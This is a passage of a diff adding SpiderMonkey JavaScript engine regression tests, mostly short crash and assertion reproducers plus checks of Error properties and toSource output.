+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not assert: jumpTable == interruptJumpTable';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.__defineSetter__('x', function(){});
+for (var j = 0; j < 5; ++j) { x = 3; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-476414-01.js b/js/src/tests/non262/extensions/regress-476414-01.js
new file mode 100644
index 0000000000..2b0db43ab5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476414-01.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476414;
+var summary = 'Do not crash @ GetGCThingFlags';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function whatToTestSpidermonkeyTrunk(code)
+{
+ return {
+ allowExec: true
+ };
+}
+whatToTest = whatToTestSpidermonkeyTrunk;
+function tryItOut(code)
+{
+ var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " "));
+ var f = new Function(code);
+ if (wtt.allowExec && f) {
+ rv = tryRunning(f, code);
+ }
+}
+function tryRunning(f, code)
+{
+ try {
+ var rv = f();
+ } catch(runError) {}
+}
+var realFunction = Function;
+var realToString = toString;
+function tryEnsureSanity()
+{
+ delete Function;
+ delete toString;
+ Function = realFunction;
+ toString = realToString;
+}
+for (let iters = 0; iters < 2000; ++iters) {
+ count=27745; tryItOut("with({x: (c) = (x2 = [])})false;");
+ tryEnsureSanity();
+ count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function* () { yield \"\" } ): break; }");
+ tryEnsureSanity();
+ count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y){ return this; })); } ");
+ tryEnsureSanity();
+ count=45197; tryItOut("M:with((p={}, (p.z = false )()))/*TUUL*/for (let y of [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }");
+ tryEnsureSanity();
+ gc();
+ tryEnsureSanity();
+ count=45254; tryItOut("for (NaN in this);");
+ tryEnsureSanity();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-476414-02.js b/js/src/tests/non262/extensions/regress-476414-02.js
new file mode 100644
index 0000000000..5a1cb1fe91
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476414-02.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476414;
+var summary = 'Do not crash @ js_NativeSet';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function whatToTestSpidermonkeyTrunk(code)
+{
+ return {
+ allowExec: true
+ };
+}
+whatToTest = whatToTestSpidermonkeyTrunk;
+function tryItOut(code)
+{
+ var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " "));
+ var f = new Function(code);
+ if (wtt.allowExec && f) {
+ rv = tryRunning(f, code);
+ }
+}
+function tryRunning(f, code)
+{
+ try {
+ var rv = f();
+ } catch(runError) {}
+}
+var realFunction = Function;
+var realToString = toString;
+function tryEnsureSanity()
+{
+ delete Function;
+ delete toString;
+ Function = realFunction;
+ toString = realToString;
+}
+for (let iters = 0; iters < 2000; ++iters) {
+ count=27745; tryItOut("with({x: (c) = (x2 = [])})false;");
+ tryEnsureSanity();
+ count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function* () { yield \"\" } ): break; }");
+ tryEnsureSanity();
+ count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y) { return this; })); } ");
+ tryEnsureSanity();
+ count=45197; tryItOut("M:with((p={}, (p.z = false )()))/*TUUL*/for (let y of [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }");
+ tryEnsureSanity();
+ gc();
+ tryEnsureSanity();
+ count=45254; tryItOut("for (NaN in this);");
+ tryEnsureSanity();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-476447.js b/js/src/tests/non262/extensions/regress-476447.js
new file mode 100644
index 0000000000..ccac0b3019
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476447.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476447;
+var summary = 'Array getter/setter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype.__defineGetter__('lastElement',(function() { return this[this.length-1]}));
+ Array.prototype.__defineSetter__('lastElement',(function(num){this[this.length-1]=num}));
+ var testArr=[1,2,3,4];
+
+ expect = 4;
+ actual = testArr.lastElement;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-476653.js b/js/src/tests/non262/extensions/regress-476653.js
new file mode 100644
index 0000000000..f0d27713e0
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476653.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476653;
+var summary = 'Do not crash @ QuoteString';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (let x1 of [''])
+for (i = 0; i < 1; ++i) {}
+for (i = 0; i < 1; ++i) {}
+for (let x of [new String('q'), '', /x/, '', /x/]) {
+ for (var y = 0; y < 7; ++y) { if (y == 2 || y == 6) { setter = x; } }
+}
+try
+{
+ this.f(z);
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/extensions/regress-476869.js b/js/src/tests/non262/extensions/regress-476869.js
new file mode 100644
index 0000000000..39f3dcd3dd
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476869.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476869;
+var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'undefined')
+ {
+ gczeal = (function (){});
+ }
+
+
+ function f()
+ {
+ (new Function("gczeal(1); for (let y of [/x/,'',new Boolean(false),new Boolean(false),new Boolean(false),'',/x/,new Boolean(false),new Boolean(false)]){}"))();
+ }
+ __proto__.__iterator__ = this.__defineGetter__("", function(){})
+ f();
+
+
+ delete __proto__.__iterator__;
+
+ gczeal(0);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-477158.js b/js/src/tests/non262/extensions/regress-477158.js
new file mode 100644
index 0000000000..d3696813ef
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-477158.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477158;
+var summary = 'Do not assert: v == JSVAL_TRUE || v == JSVAL_FALSE';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ x = 0;
+ x = x.prop;
+ for (let [] of ['', '']) { switch(x) { default: (function(){}); } };
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-477187.js b/js/src/tests/non262/extensions/regress-477187.js
new file mode 100644
index 0000000000..031ddd83dd
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-477187.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477187;
+var summary = 'timeout script';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined' || typeof timeout != 'function')
+ {
+ print(expect = actual = 'Test skipped due to lack of timeout function');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ expectExitCode(6);
+ timeout(0.01);
+ // Call reportCompare early here to get a result. The test will fail if
+ // the timeout doesn't work and the test framework is forced to terminate
+ // the test.
+ reportCompare(expect, actual, summary);
+
+ while(1);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-479487.js b/js/src/tests/non262/extensions/regress-479487.js
new file mode 100644
index 0000000000..357c33d435
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-479487.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479487;
+var summary = 'js_Array_dense_setelem can call arbitrary JS code';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ Array.prototype[1] = 2;
+
+ Array.prototype.__defineSetter__(32, function() { print("Hello from arbitrary JS");});
+ Array.prototype.__defineGetter__(32, function() { return 11; });
+
+ function f()
+ {
+ var a = [];
+ for (var i = 0; i != 10; ++i) {
+ a[1 << i] = 9999;
+ }
+ return a;
+ }
+
+ f();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-479551.js b/js/src/tests/non262/extensions/regress-479551.js
new file mode 100644
index 0000000000..a08f941f22
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-479551.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479551;
+var summary = 'Do not assert: (cx)->requestDepth || (cx)->thread == (cx)->runtime->gcThread';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof shapeOf != 'function')
+ {
+ print(expect = actual = 'Test skipped: requires shell');
+ }
+ else
+ {
+
+ var o = {a:3, b:2};
+ shapeOf(o);
+ var p = {};
+ p.a =3;
+ p.b=2;
+ shapeOf(p);
+
+
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-480579.js b/js/src/tests/non262/extensions/regress-480579.js
new file mode 100644
index 0000000000..f28fe3a1fa
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-480579.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480579;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '12';
+
+ a = {x: 1};
+ b = {__proto__: a};
+ c = {__proto__: b};
+ for (i = 0; i < 2; i++) {
+ print(actual += c.x);
+ b.x = 2;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-481516.js b/js/src/tests/non262/extensions/regress-481516.js
new file mode 100644
index 0000000000..e6bf1007f4
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-481516.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481516;
+var summary = 'TM: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1111222';
+
+ a = {x: 1};
+ b = {__proto__: a};
+ c = {__proto__: b};
+ objs = [{__proto__: a}, {__proto__: a}, {__proto__: a}, b, {__proto__: a},
+ {__proto__: a}];
+ for (i = 0; i < 6; i++) {
+ print(actual += ""+c.x);
+ objs[i].x = 2;
+ }
+ print(actual += c.x);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-482263.js b/js/src/tests/non262/extensions/regress-482263.js
new file mode 100644
index 0000000000..57159dc999
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-482263.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482263;
+var summary = 'TM: Do not assert: x->oprnd2() == lirbuf->sp || x->oprnd2() == gp_ins';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+Object.defineProperty(__proto__, "x",
+{
+ enumerable: true, configurable: true,
+ get: function () { return ([]) }
+});
+for (let x of []) { for (let x of ['', '']) { } }
+
+
+reportCompare(expect, actual, summary);
+
+delete __proto__.x;
diff --git a/js/src/tests/non262/extensions/regress-50447-1.js b/js/src/tests/non262/extensions/regress-50447-1.js
new file mode 100644
index 0000000000..6af94b9a19
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-50447-1.js
@@ -0,0 +1,179 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * vim: set ts=8 sts=4 et sw=4 tw=99:
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * SUMMARY: New properties fileName, lineNumber have been added to Error objects
+ * in SpiderMonkey. These are non-ECMA extensions and do not exist in Rhino.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=50447
+ *
+ * 2005-04-05 Modified by bclary to support changes to error reporting
+ * which set default values for the error's fileName and
+ * lineNumber properties.
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 50447;
+var summary = 'Test (non-ECMA) Error object properties fileName, lineNumber';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testRealError();
+ test1();
+ test2();
+ test3();
+ test4();
+
+
+}
+
+// Normalize filenames so this test can work on Windows. This
+// function is also used on strings that contain filenames.
+function normalize(filename)
+{
+ // Also convert double-backslash to single-slash to handle
+ // escaped filenames in string literals.
+ return filename.replace(/\\{1,2}/g, '/');
+}
+
+function testRealError()
+{
+ /* throw a real error, and see what it looks like */
+
+
+ try
+ {
+ blabla;
+ }
+ catch (e)
+ {
+ if (e.fileName.search (/-50447-1\.js$/i) == -1)
+ reportCompare('PASS', 'FAIL', "expected fileName to end with '-50447-1.js'");
+
+ reportCompare(60, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+ }
+
+
+}
+
+
+function test1()
+{
+ /* generate an error with msg, file, and lineno properties */
+
+
+ var e = new InternalError ("msg", "file", 2);
+ if (Error.prototype.toSource) {
+ reportCompare ("(new InternalError(\"msg\", \"file\", 2))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ }
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (2, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
+
+
+function test2()
+{
+ /* generate an error with only msg property */
+
+
+ /* note this test incorporates the path to the
+ test file and assumes the path to the test case
+ is a subdirectory of the directory containing jsDriver.pl
+ */
+ var expectedLine = 108;
+ var expectedFileName = 'non262/extensions/regress-50447-1.js';
+ var expectedSource = /\(new InternalError\("msg", "([^"]+)", ([0-9]+)\)\)/;
+
+ var e = new InternalError ("msg");
+
+ if (Error.prototype.toSource) {
+ var actual = expectedSource.exec(e.toSource());
+ reportCompare (normalize(actual[1]).endsWith(expectedFileName), true,
+ "toSource() returned unexpected result (filename).");
+ reportCompare (actual[2], String(expectedLine),
+ "toSource() returned unexpected result (line).");
+ }
+ reportCompare (normalize(e.fileName).endsWith(expectedFileName), true,
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
+
+
+function test3()
+{
+ /* generate an error with only msg and lineNo properties */
+
+ /* note this test incorporates the path to the
+ test file and assumes the path to the test case
+ is a subdirectory of the directory containing jsDriver.pl
+ */
+
+
+
+ var expectedLine = 10;
+ var expectedFileName = 'non262/extensions/regress-50447-1.js';
+ var expectedSource = /\(new InternalError\("msg", "([^"]+)", ([0-9]+)\)\)/;
+
+ var e = new InternalError ("msg");
+ e.lineNumber = expectedLine;
+
+ if (Error.prototype.toSource) {
+ var actual = expectedSource.exec(e.toSource());
+ reportCompare (normalize(actual[1]).endsWith(expectedFileName), true,
+ "toSource() returned unexpected result (filename).");
+ reportCompare (actual[2], String(expectedLine),
+ "toSource() returned unexpected result (line).");
+ }
+ reportCompare (normalize(e.fileName).endsWith(expectedFileName), true,
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
+
+
+function test4()
+{
+ /* generate an error with only msg and filename properties */
+
+
+ var expectedLine = 167;
+
+ var e = new InternalError ("msg", "file");
+ if (Error.prototype.toSource) {
+ reportCompare ("(new InternalError(\"msg\", \"file\", " + expectedLine + "))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ }
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
diff --git a/js/src/tests/non262/extensions/regress-543839.js b/js/src/tests/non262/extensions/regress-543839.js
new file mode 100644
index 0000000000..ce968bfba7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-543839.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Igor Bukanov
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 543839;
+var summary = 'js_GetMutableScope caller must lock the object';
+var actual;
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function test()
+{
+ for (var i = 0; i != 100; ++i)
+ var tmp = { a: 1 };
+ return 1;
+}
+
+if (typeof evalcx == 'undefined')
+{
+ print('Skipping. This test requires evalcx.');
+ actual = expect;
+} else {
+ test();
+ test();
+ test();
+ actual = evalcx("test()", this);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-591450.js b/js/src/tests/non262/extensions/regress-591450.js
new file mode 100644
index 0000000000..f1ebcf6758
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-591450.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * This was causing the parser to assert at one point. Now it's not. Yay!
+ */
+function f(a,[x,y],b,[w,z],c) { function b() { } }
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/extensions/regress-636818.js b/js/src/tests/non262/extensions/regress-636818.js
new file mode 100644
index 0000000000..9fa1bc3798
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-636818.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+a = evalcx('');
+a.__proto__ = ''.__proto__;
+a.length = 3; // don't assert
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/regress-645160.js b/js/src/tests/non262/extensions/regress-645160.js
new file mode 100644
index 0000000000..933d3e2614
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-645160.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function potatoMasher(obj, arg) { this.eval(arg); }
+potatoMasher(this, "var s = Error().stack");
+assertEq(/potatoMasher/.exec(s) instanceof Array, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/regress-650753.js b/js/src/tests/non262/extensions/regress-650753.js
new file mode 100644
index 0000000000..a518ec52a3
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-650753.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x = {}, h = new WeakMap;
+h.set(x, null);
+gc();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/regress-696109.js b/js/src/tests/non262/extensions/regress-696109.js
new file mode 100644
index 0000000000..4a56340d36
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-696109.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Dave Herman <dherman@mozilla.com>
+ */
+
+// Bug 696109 - fixed a precedence bug in with/while nodes
+Reflect.parse("with({foo})bar");
+Reflect.parse("while({foo})bar");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/regress-90596-001.js b/js/src/tests/non262/extensions/regress-90596-001.js
new file mode 100644
index 0000000000..7a22ec8b37
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-90596-001.js
@@ -0,0 +1,264 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in toSource().
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * Sorting properties alphabetically is done for definiteness in comparisons.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = 'A [DontEnum] prop, if overridden, should appear in toSource()';
+var cnCOMMA = ',';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var cnLPAREN = '(';
+var cnRPAREN = ')';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = obj.toSource();
+expect = '({toString:9})';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = obj.toSource();
+expect = '({toString:9})';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({toString:9})';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({hasOwnProperty:"Hi"})';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Sort properties alphabetically -
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes string of form '({"c", "b", "a", 2})' and returns '({"a","b","c",2})'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripParens(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ ret = addParens(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off parens at beginning and end of text -
+ */
+function stripParens(text)
+{
+ // remember to escape the parens...
+ var arr = text.match(/^\((.*)\)$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
